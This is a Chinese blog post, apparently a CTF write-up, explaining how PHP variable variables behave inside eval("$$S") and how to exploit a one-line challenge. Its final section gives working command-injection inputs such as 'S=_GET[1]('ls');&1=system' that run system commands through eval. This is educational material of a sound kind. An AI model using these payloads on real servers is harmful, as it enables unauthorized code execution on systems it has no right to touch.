0%

PHP可变变量的审计

有的时候你以为你知道了,但是一做题就会发现不太对劲。奥利给吧!

源码

题目源码很短,如下:

1
2
<?php 
($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);

不难看出,它是在考我们PHP可变变量的知识点。

前置知识

前面有学习过什么是可变变量,这里就不再记录了。
【参考链接】
补充记录以前忽略或者没有深入了解的知识点。
看到上面的代码,你是否会想到给$S 赋值一个_GET[1]然后再传一个1参数执行shell。但是,你(我)可能没有注意到:
Warning
注意,在 PHP 的函数和类的方法中,超全局变量不能用作可变变量。$this 变量也是一个特殊变量,不能被动态引用。
也就是说这条路不通了。(推论不完全正确,后面再说)
我们再注意到eval("$$S");,而不是eval($$S);测试发现,再双引号内它只会解析一个$如:

1
2
3
4
5
6
7
8
9
10
<?php
$a = "b";
$b= "123";
echo "$$a";
// 结果为 $b
<?php
$a = "b";
$b= "123";
echo $$a;
//结果为 123

还有一个就是关于函数的点:

1
2
3
4
5
6
7
8
<?php
$a = "b();";
$b= "test";
echo "$$a";
eval("$$a");
function test(){
echo "this is test!";
}

它的结果是$b();this is test! 也是很好理解,eval(“$$a”),就相当于在php中写了一个$b();这自然是可以解析为test();函数然后去执行的。
此时,我们测试发现:

1
2
3
4
5
<?php
$_GET['t']="phpinfo";
$a = "_GET['t']();";
echo "$$a";
eval("$$a");

这样也是可以被执行的,也就是eval("$$a");等于最后将$_GET['t']();写入php文件然后–》phpinfo();
那为什么我们以前写:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$_GET['t']="echo 123;";
$a = "_GET['t'];";
echo "$$a";
eval("$$a");
-------
<?php
$b="echo 123;";
$a = "b;";
echo "$$a";
eval("$$a");
这样也不行

这样执行不了?因为这里相当于在php代码中写入$_GET['t'];普通的一个语句相当于申明了一下,并不会有回显。所以我们需要拼接后构造成函数形式。
此时你是否会发出疑问,前面不是说在 PHP 的函数和类的方法中,超全局变量不能用作可变变量。 它这里是什么意思呢?我们看看测试代码:

1
2
3
4
5
<?
$d=1;
$c="d";
$$c=123;
echo $d;

它的结果是 123,这是正常的预期。

1
2
3
4
5
<?php
$_GET['a']=1;
$c="_GET['a']";
$$c=123;
echo $_GET['a'];

它的结果是1 也就是说,$$c=123 这里并没有发生作用。我的理解是不能使用可变变量形式给他赋值但是可以利用这种形式调用它。

题解

根据上面的知识,我们可以有两种方法来拿到flag。

  1. 我们传入S=a;system("ls"); 这样就可以执行我们的系统命令,原理很简单它执行eval后相当于在文件里写入了两条语句,一句是$a;一句是system("ls");前句是申明,后句是我们想要的结果。当然直接S=system('dir');也是可以的。
  2. 我们传入S=_GET[1]('ls');&1=system 它也可以让我们顺利执行系统命令,原理也很简单。执行eval后相当于在php文件中写入$_GET[1]('ls'); 而我们的$_GET[1]的值为我们传入的system,即最后执行的是system('ls');

S= 其实也不是必须的,毕竟有赋值了。有多种方法反正确保执行没有报错就行。

1
2
3
4
比如直接传入一个 system('ls');
此时 $S="system('ls');"
那么 此时 eval($"system('ls');") 这相当于写了个 $"system('ls');"的php代码肯定报错
我们可以输入{system('whoami')}; 虽然会报错(因为会把我们执行的结果也放到php代码里)但是也会返回结果,因为会先执行{}里的东西。

-------------本文结束感谢您的阅读-------------